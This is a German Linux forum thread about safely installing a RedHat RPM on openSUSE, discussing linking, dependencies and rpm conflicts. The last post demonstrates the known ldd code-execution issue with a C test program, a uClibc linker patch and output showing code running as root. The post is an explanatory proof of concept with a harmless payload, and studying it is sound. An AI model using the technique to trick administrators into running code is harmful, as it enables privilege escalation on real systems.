• Willkommen im Linux Club - dem deutschsprachigen Supportforum für GNU/Linux. Registriere dich kostenlos, um alle Inhalte zu sehen und Fragen zu stellen.

[gelöst] 'Fremdes' RPM installieren?

wbwb

Hacker
Hallo,
  • ich habe da so ein 'fremdes' RPM - in diesem Fall für RedHat 7.x.
  • ich habe mir den Inhalt davon per
    Code:
    rpm2cpio xyz.rpm | cpio -idmv
    in ein temp-Dir entpackt und sehe keine directories, die ich unter meiner Suse Leap 42.3 nicht auch habe.
  • Auch habe ich ge-checkt, dass keine Datei die im entpackten RPM enthalten ist, in meinem bisherigen System bereits enthalten ist
  • Außerdem funktioniert die einzige ausführbare Datei dieses RPM soweit ich sehe problemlos, auch wenn ich sie direkt aus dem Verzeichnis heraus aufrufe, in das ich pro-forma entpackt habe
... darf man so etwas per YAST/zypper einfach mal so installieren, oder ist das ganz und gar 'des Teufels' und macht mir Kollateralschäden?

wbwb

(das Progrämmchen was ich so gern auf meinem System hätte ist https://code-industry.net/free-pdf-editor/ ;) )
 

Sauerland

Ultimate Guru
Sollte man eigentlich wenns eben geht vermeiden, aber das Programm kannst du installieren, gibt zwar ne Fehlermeldung wegen der Signatur, die du ignorieren solltest.
 

marce

Guru
"Dürfen" - klar.
"des Teufels" - OS sind recht un-religiös. Damit gibt's auch keine Teufel.
"Kolateralschäden" - möglich. Umfang je nach dem - von "System kaputt" bis zu "Programm läuft halt (evtl. irgendwann) nicht mehr"

Wenn es nichts ded. für Deine Distribution gibt kann man ggf. die tar-gz-Version nehmen, die integriert sich meist völlig problemlos an allem vorbei nirgendwohin. Ggf. muss man sich dann noch ein wenig Umgebung basteln, da Pfade meist nicht passend gesetzt sind aber das stört meist nicht.
 
A

Anonymous

Gast
Mal ganz abgesehen davon was im Paket enthalten ist und ob man denjenigen vertraut, der das Paket zusammengestellt hat, kommt es darauf an, was im Pakte enthalten ist.
Es ist nicht immer alles schlecht oder unbrauchbar was aus solchen Paketen zu installieren wäre. Hier mal ein paar Hintergrundinformationen.

Erstens kommt es darauf an, was im RPM-Paket für Datei Typen drinnen sind,
* theoretisch könntest du auch Pakete erstellen in denen nur deine persönlichen Dokumente, oder deine Urlaubsbilder oder MP3s drin sind. Die hätten dann überhaupt keine Abhängigkeiten zum Betriebssystem, also könnten überall bedenkenlos installiert werden. Damit ist es dann eben auch egal ob die Dateien in einem RPM-Paket oder in einem geziptem Tarfile ankommen.
* Möglich sind auch Pakete in denen nur Scripte und ähnliches enthalten sind. Die hätten dann nur geringe Abhängigkeiten, zB. sollte auf der Kiste das Interpreterprogramm vorhanden und in einer brauchbaren Version (zB Perl) vorliegen.
* Sobald sich im Paket Binärdateien und oder Libraries befinden muss man etwas genauer nachschauen

Normalerweise werden Binärdateien gegen Libraries gelinkt und diese Libraries müssen dann zur Laufzeit vom System geladen werden. Das Programm ist dann dynamisch gelinkt gegen diese Libs und gegebenenfalls sind dort auch sehr starke Abhängigkeiten zu den einzelnen Libversionen vorhanden.
Beispiel: das Binary /bin/bash

Code:
robi@ULTRA-01:~> file /bin/bash
/bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.16, BuildID[sha1]=0x4d0181dfe4a5de300a2d1376d85726b2de9ce16b, stripped
wir sehen mit file es ist ein Binäres ausführbares Programm das dynamisch gelinkt ist.
Code:
robi@ULTRA-01:~> ldd /bin/bash
        linux-gate.so.1 (0xb7777000)
        libreadline.so.6 => /lib/libreadline.so.6 (0xb771a000)
        libtinfo.so.5 => /lib/libtinfo.so.5 (0xb76f3000)
        libdl.so.2 => /lib/libdl.so.2 (0xb76ee000)
        libc.so.6 => /lib/libc.so.6 (0xb7548000)
        /lib/ld-linux.so.2 (0xb7778000)
Mit ldd habe ich hier mal die Abhängigkeiten zu den gelinkten Libraries aufgelistet, (diese Libraries haben aber eventuell ihrerseits ebenfalls wieder solche Abhängigkeiten)

Sind die abhängigen Libraries nicht in der richtigen Version oder gar nicht vorhanden, geht entweder mit Hinweis auf die nicht ladbaren Libs gar nichts, oder es gibt mehr oder weniger Fehler.
Pakete die solche Binärdateien enthalten sind dann eben nur auf den speziellen Betriebssystemen ausführbar zu denen sie gehören, da nur dort die richtigen Libraries inclusive deren erwartete Namen und die richtigen Versionen vorhanden sind. Auf anderen Distributionen und Versionen kann und wird es überhaupt nicht , oder nicht wirklich stabil laufen.
Umgehen kann man das im allgemeinen bei Linux, indem man dann die QuellcodePakte installiert und die Programme auf dem eigenen Rechner selbst gegen die eigenen Libraryversionen kompiliert.

Das ist aber dumm für einen Entwickler der entweder den Quellcode nicht öffentlich bekannt geben will, oder aus anderem Grunde nicht will, dass jeder die Programme für seinen eignen Rechner kompilieren kann, aber dennoch möchte das viele das Programm nutzen können.
Es gibt aber hier aber auch die Möglichkeit beim kompilieren die Binärprogramme statisch zu linken, das bedeutet, die Binärprogramme enthalten die benötigten Programmteile aus den Libs eingebettet im Binärprogramm mit. Die Binärprogramme sind dann größer, aber sie benötigen zum ausführen keine Libs mehr vom Betriebssystem. (eventuell doch noch private dynamische Libs die dann aber im Paket mit enthalten sind). Damit muss zum Ausführen nichts dynamisch vom Betriebssystem geladen werden, das irgendwelche Probleme machen könnte weil es nicht da sein könnte oder in einer falschen Version vorhanden ist.

Pakete die solche statisch gelinkten Binaries enthalten, sind somit oftmals auf einer Vielzahl von Distributionen und deren Versionen problemlos ausführbar. Oft gibt es nur 2 Versionen eine für RPM Distributionen und eine für die APT Distributionen, (manchmal auch noch ein tar.gz Archiv ) Das hat aber mehr oder weniger nur mit der Installationsprozedur zu tun, da damit die Pakete einfach zu installieren/deinstallieren sind. Dabei stehen oft noch eine oder 2 Distributionen, für die die Pakte gebaut sein sollten und auf denen ist es von der Entwicklung auch wirklich ausprobiert worden, aber das bedeutet nicht, das es in den meisten Fällen auch auf anderen Linuxdistributionen und Versionen problemlos funktioniert.

Beispiele sind zB statisch gelinkte Webbrowser Pakete, oder eben kleinere voll- oder teilweise kommerzielle Programme, so wie du eines installieren willst.

robi
 

abgdf

Guru
robi schrieb:
Normalerweise werden Binärdateien gegen Libraries gelinkt und diese Libraries müssen dann zur Laufzeit vom System geladen werden. Das Programm ist dann dynamisch gelinkt gegen diese Libs und gegebenenfalls sind dort auch sehr starke Abhängigkeiten zu den einzelnen Libversionen vorhanden.
Das ist aber dumm für einen Entwickler der entweder den Quellcode nicht öffentlich bekannt geben will, oder aus anderem Grunde nicht will, dass jeder die Programme für seinen eignen Rechner kompilieren kann, aber dennoch möchte das viele das Programm nutzen können.
Es gibt aber hier aber auch die Möglichkeit beim kompilieren die Binärprogramme statisch zu linken, das bedeutet, die Binärprogramme enthalten die benötigten Programmteile aus den Libs eingebettet im Binärprogramm mit. Die Binärprogramme sind dann größer, aber sie benötigen zum ausführen keine Libs mehr vom Betriebssystem. (eventuell doch noch private dynamische Libs die dann aber im Paket mit enthalten sind). Damit muss zum Ausführen nichts dynamisch vom Betriebssystem geladen werden, das irgendwelche Probleme machen könnte weil es nicht da sein könnte oder in einer falschen Version vorhanden ist.
Echt jetzt? Du versuchst, den Unterschied zwischen statischen und dynamischen Bibliotheken zu erklären? :lol: Glaube nicht, daß das allzuviele verstehen werden.

@OP: Man kann mit dem Midnight Commander (mc) in das rpm-Paket "reingehen" und sich die einzelnen Dateien, die man braucht, herauskopieren (ähnlich wie cpio).
Risiken, die bleiben, sind zum einen, daß Schadcode in den Binärdateien sein könnte (bei einer unseriösen Quelle). Und zum anderen, daß die Binärdateien nicht für die Bibliotheken des Systems kompiliert wurden. Das führt dann dazu, daß das Programm entweder gar nicht läuft (wahrscheinlicher) oder nur instabil läuft (nicht so wahrscheinlich).

Wenn Du dagegen den Source-Code aus einem .tar.gz selbst kompilierst, sind die Binärdateien an Deine Bibliotheken angepaßt (durch ./configure). Ist halt nur die Frage, ob man den Kompiliervorgang schafft. Bei einigen Programmen ist es einfach, bei anderen nicht. Wenn Du beim Kompilieren am Ende statt "make install" das Skript "checkinstall" verwendest, baut er Dir mit Glück ein eigenes rpm (anstatt die Dateien unkontrolliert ins System zu kopieren).
 

abgdf

Guru
gehrke schrieb:
robi schrieb:
Hier mal ein paar Hintergrundinformationen.
Danke - sehr hilfreich.
Wenn Dich das Thema mit den Libraries interessiert, hatte ich das auch mal auf meiner Seite beschrieben. Aber die Geschichte von Anfang an, so daß man nicht viele Vorkenntnisse haben muß (ich hatte beim Schreiben nämlich auch nicht viele Vorkenntnisse).
Neben "Zeigern in C" ist das auf meinen Seiten aber das komplizierteste Thema. ;)
 
OP
W

wbwb

Hacker
robi schrieb:
...Hintergrundinformationen
Zunächst mal danke für Deine ausführliche Info. Dann aber noch 'einen drauf gelegt' ;)

1) Meine eigentliche Befürchtung im Zusammenhang mit einer 'Fremd'-Installation war eher die folgende: Pakete haben immer wieder die 'Unsitte' ihre eigenen System-Libraries mitzubringen, auch wenn es shared libraries sind. Ich sehe so etwas z.B. immer wieder im Zusammenhang mit Qt Bibliotheken.
An dieser Stelle verstehe ich RPM nicht genau genug: würde RPM beim Installieren eines solchen 'Fremd'-RPMs die 'Fremd'-Libraries einfach über bereits installierte System-Bibliotheken drüber schreiben, oder ist der Mechanismus komplizierter?

2) NB: was Deinen Vorschlag mit
Code:
~> ldd datei
angeht. Sollte man bei 'unklarer Herkunft' nicht eher
Code:
objdump -x datei | grep NEEDED
benützen? Irgendjemand hat mir mal gesagt, dass ldd evtl. Schadcode direkt ausführen kann?

wbwb

(PS.: ansonsten ist die ausführbare Datei in dem RPM, das mich interessiert natürlich dynamisch gelinkt ... und braucht eine Tonne Bibliotheken, aber wie hier im Thread ja bereits gesagt, wenn es an dieser Stelle fehlt, dann schmiert das Programm halt ab. Im user-space ist das ja schnuppe.)
 

MH1962

Member
wbwb schrieb:
1) Meine eigentliche Befürchtung im Zusammenhang mit einer 'Fremd'-Installation war eher die folgende: Pakete haben immer wieder die 'Unsitte' ihre eigenen System-Libraries mitzubringen, auch wenn es shared libraries sind. Ich sehe so etwas z.B. immer wieder im Zusammenhang mit Qt Bibliotheken.
Nein, diese Unsitte haben "Pakete" im allgemeinen nicht. Der richtige Weg dafür ist, Abhängigkeiten zu definieren. D.h. ein Paket hat die Abhängigkeit von Qt, evtl. auch von einer bestimmten Qt-Version, und wenn diese nicht installiert ist, lässt sich auch das Paket nicht installieren.

Das ist auch der Grund, warum die meisten "Fremd-RPMs" sich gar nicht erst installieren lassen, weil sie nämlich Libraries in bestimmten Versionen voraussetzen, die es bei der "heimischen" Distri gar nicht gibt.

Klar kann man auch RPMs unter Ignorieren aller Abhängigkeiten installieren, in der Regel macht das aber keinen Sinn, weil die Abhängigkeiten ja mit Sinn und Verstand gewählt wurden. Und wenn die nicht erfüllt sind, kann auch Ignoranz keine Wunder bewirken... :D

Und ja, es gibt die seltene Ausnahme, dass ein Paket auch Libraries mitbringt, und oft ist das so, wenn das Paket von einer kommerziellen Firma stammt (kann trotzdem Open-Source sein). Die Firma will sich sparen, für jede Distri ein eigenes RPM zu bauen, eben weil es subtile Unterschiede bei den Libraries gibt, also bringen sie einfach alles in der richtigen Version mit. Die Firma hat Arbeitszeit gespart, der Anwender Resourcen verschwendet, weil Libraries mehrfach auf dem System sind... Hm... Gut finde ich das nicht.
 

abgdf

Guru
wbwb schrieb:
1) Meine eigentliche Befürchtung im Zusammenhang mit einer 'Fremd'-Installation war eher die folgende: Pakete haben immer wieder die 'Unsitte' ihre eigenen System-Libraries mitzubringen, auch wenn es shared libraries sind. Ich sehe so etwas z.B. immer wieder im Zusammenhang mit Qt Bibliotheken.
An dieser Stelle verstehe ich RPM nicht genau genug: würde RPM beim Installieren eines solchen 'Fremd'-RPMs die 'Fremd'-Libraries einfach über bereits installierte System-Bibliotheken drüber schreiben, oder ist der Mechanismus komplizierter?
Ich hatte bei rpm schon öfters die Fehlermeldung "... conflicts with ... from package ...", (was man entweder mit "--nodeps" oder "--force" umgehen kann) ich denke also, rpm überprüft da schon was.
Ganz genau kenne ich den Mechanismus aber nicht. Man kann sich jedenfalls auch die Abhängigkeiten anzeigen lassen.
 
A

Anonymous

Gast
wbwb schrieb:
2) NB: was Deinen Vorschlag mit
Code:
~> ldd datei
angeht. Sollte man bei 'unklarer Herkunft' nicht eher
Code:
objdump -x datei | grep NEEDED
benützen? Irgendjemand hat mir mal gesagt, dass ldd evtl. Schadcode direkt ausführen kann?

Gut aufgepasst ;) , und auch wenn das Thema schon fast 20 Jahre alt ist, das Grundproblem ist bei ldd aus Linux wohl nicht zu entfernen weil es dort auch gar nicht exisitiert, oder aber es will einfach niemand entfernen. Andere (BSD) haben das Problem wohl nicht.
Es steht auch eine entsprechende Info in der Manpage.
In the usual case, ldd invokes the standard dynamic linker (see ld.so(8)) with the LD_TRACE_LOADED_OBJECTS environment variable set to 1, which causes the linker to display the library dependencies. Be aware, however, that in some circumstances, some versions of ldd may attempt to obtain the dependency information by directly exe-cuting the program. Thus, you should never employ ldd on an untrusted executable, since this may result in the execution of arbitrary code. A safer alternative when
dealing with untrusted executables is:

$ objdump -p /path/to/program | grep NEEDED

Hintergrundinfo.
in Linux ist ldd nur ein Bashscript, das mehr oder weniger nichts weiter macht als dem dynamischen Linker zu sagen, anstatt dieses Programm auszuführen (bzw. das Library zu laden) dumpe mir mal was es alles für Abhängigkeiten hat und beende dann, also das Programm nicht ausführen.

Code:
ldd  programm
ist also eigentlich nicht viel mehr als ein Script um folgenden Befehl herum
Code:
LD_TRACE_LOADED_OBJECTS=1  ./programm
also nur eine Variable bei der Ausführung gesetzt die dann dem Dynamischen LInker sagt, "anstatt auszuführen, die Abhängigkeiten dumpen"

Ja, muss man sagen ist gefährlich, man müsste (den/oder einen anderen) Linker auf dem System kompromittieren, (dann hat man das System aber vorher schon 100%ig geknackt)
bzw. einen zusätzlichen kompromittierten Linker irgendwo auf dem System installieren. und dann Binärdateien mit gezielt eingebauten Schadcode gegen diese gefakten Linker linken, und dann auch noch root dazu bringen dass er mit ldd sich die Abhängigkeiten dieses Binaries anschauen will.

Funktioniert aber heute noch genau wie vor 20 Jahren, habe ich eben ausprobiert.
Das C-Programm mit dem "schädlichen Code"
Code:
#include <stdio.h>
#include <stdlib.h>

int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("Danke, die Kiste ist geknackt\n");
    printf("Aktuelle UID=%d\n",geteuid());
  }
  else {
    printf("Nichts passiert\n");
  }
  return 0;
}
wurde 2 mal kompiliert, einmal ganz normal, und einmal gegen einem "normalen" externen Linker.
Beim aufsführen erstmal keinen Unterschied.
Code:
puppe@lux001:/tmp> ./ldd_test
Nichts passiert
puppe@lux001:/tmp> ./ldd-test
Nichts passiert
ldd zeigt dann das eines diese Programm wohl nicht gegen die normalen Systemlibs gelinkt ist.
Code:
ldd_test
        linux-vdso.so.1 (0x00007ffdedd9f000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f254d88a000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f254dc38000)

ldd-test
        libc.so.0 => /home/puppe/game/lib/libc.so.0 (0x7fb329ab5000)
        ld64-uClibc.so.0 => /home/puppe/game/lib/ld64-uClibc.so.0 (0x7fb329ce7000)
die Ausgabe die beim empfohlenen objdump Befehl kommt, ist erstmal wenig auffällig, wer hier auf die Schnelle erkennen will, dass da in dem Programm eventuell nicht alles Rechtens zugeht, ist entweder gebranntes Kind oder Hellseher.
objdump -x ldd?test | grep NEEDED
Code:
ldd_test
  NEEDED               libc.so.6

ldd-test
  NEEDED               libc.so.0
Bis hier hin also alles normal. Nur eben das eines der Programme einen Linker und Libs nutzt die außerhalb der alleinigen Hoheit von root im Heimatverzeichnis eines Users liegen.

so und jetzt kompromittiere ich diesen Linker mal mit folgendem Patch.
Code:
--- ldso/ldso/ldso.c.orig 2017-09-03 20:44:56.488178948 +0200
+++ ldso/ldso/ldso.c      2017-09-03 20:53:23.070922224 +0200
@@ -814,11 +814,11 @@
 }
        _dl_trace_prelink = _dl_getenv("LD_TRACE_PRELINKING", envp);
 #endif
-
+/*
        if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
                trace_loaded_objects++;
        }
-
+*/
 #ifndef __LDSO_LDD_SUPPORT__
        if (trace_loaded_objects) {
                _dl_dprintf(_dl_debug_file, "Use the ldd provided by uClibc\n");
Also genau die Stelle an der Linker normalerweise die Abhängigkeiten dumpen soll, die wird einfach auskommentiert.
Und dann kommt folgendes dabei raus.
Code:
puppe@lux001:/tmp> ./ldd_test
Nichts passiert
puppe@lux001:/tmp> ./ldd-test
Nichts passiert
puppe@lux001:/tmp> objdump -x ./ldd_test | grep NEEDED 
  NEEDED               libc.so.6
puppe@lux001:/tmp> objdump -x ./ldd-test | grep NEEDED 
  NEEDED               libc.so.0
puppe@lux001:/tmp> ldd ldd_test
        linux-vdso.so.1 (0x00007ffc393a3000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f03e8eba000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f03e9268000)
Bis hier hin alles ganz normal wie erwartet. nur dann beim ldd auf die Binärdatei die gegen den gepatchten Linker gelinkt ist passiert folgendes.
Code:
puppe@lux001:/tmp> ldd ldd-test
Danke, die Kiste ist geknackt
Aktuelle UID=1002
Das Binary wird also wirklich ausgeführt und ein anderer Teil der IF-Schleife durchlaufen, der im Nomalfall nicht durchlaufen wird.
Und wenn der User dafür gesorgt hat das der "Rest der Welt" auch Rechte auf seinen gefakten Linker hat und Root überzeugen kann mal mit ldd zu schauen was dort für Libraries benötigt werden .....
Code:
puppe@lux001:/tmp> su -
Passwort: 
lux001:~ # ldd /tmp/ldd-test
Danke, die Kiste ist geknackt
Aktuelle UID=0
Wohl bemerkt, das Problem gibt es in Linux schon 20 Jahre.
Meine Meinung, ja objdump ist besser, aber der Befehl schwerer zu merken und die Ausgabe oft weniger hilfreich.
Und meine Meinung, wenn du einen User auf deinem System hast, der das was ich hier demonstriert habe nachmachen kann, und du dieses auf deinem System auch noch zulässt, dann hast du noch ganz andere Probleme.

robi
 
Oben